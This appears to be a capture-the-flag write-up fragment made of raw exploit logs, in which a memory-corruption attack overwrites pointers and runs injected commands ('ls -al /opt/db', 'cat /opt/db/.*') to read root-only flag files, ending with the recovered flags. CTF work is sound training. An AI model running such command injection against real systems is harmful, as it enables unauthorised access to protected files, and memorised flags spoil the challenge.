{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"Stack addr: 0x7fffffffeaa8[+] Overwrite memcmp with malloc [+] Overwrite db pointer [+] Execute commandls -al /opt/db > /tmp/output;# @þÿÿÿÿÿÿp0` w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"total 24
dr-x-----T 1 root root 4096 Dec 26 15:26 .
drwxr-xr-x 1 root root 4096 Jan 15 16:19 ..
-r-------- 1 root root 31 Nov 29 14:56 .flag.pwn
---------- 1 root root 56 Dec 18 21:59 .flag.unexpected
-rw------- 1 root root 198 Dec 18 09:44 base
w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}

cat /opt/db/.*

{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"Stack addr: 0x7fffffffeaa8[+] Overwrite memcmp with malloc [+] Overwrite db pointer [+] Execute commandcat /opt/db/.* > /tmp/output;# @þÿÿÿÿÿÿp0` w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"Error on socket connect w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"flag{twistl0ck_fin4l_fl4g_!!!} flag{!!!Well_this_is_was_honestly_not_expeted_grats!!!} w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}

And there it is, the hidden flag flag{!!!Well_this_is_was_honestly_not_expeted_grats!!!}, which gave us 0xffff.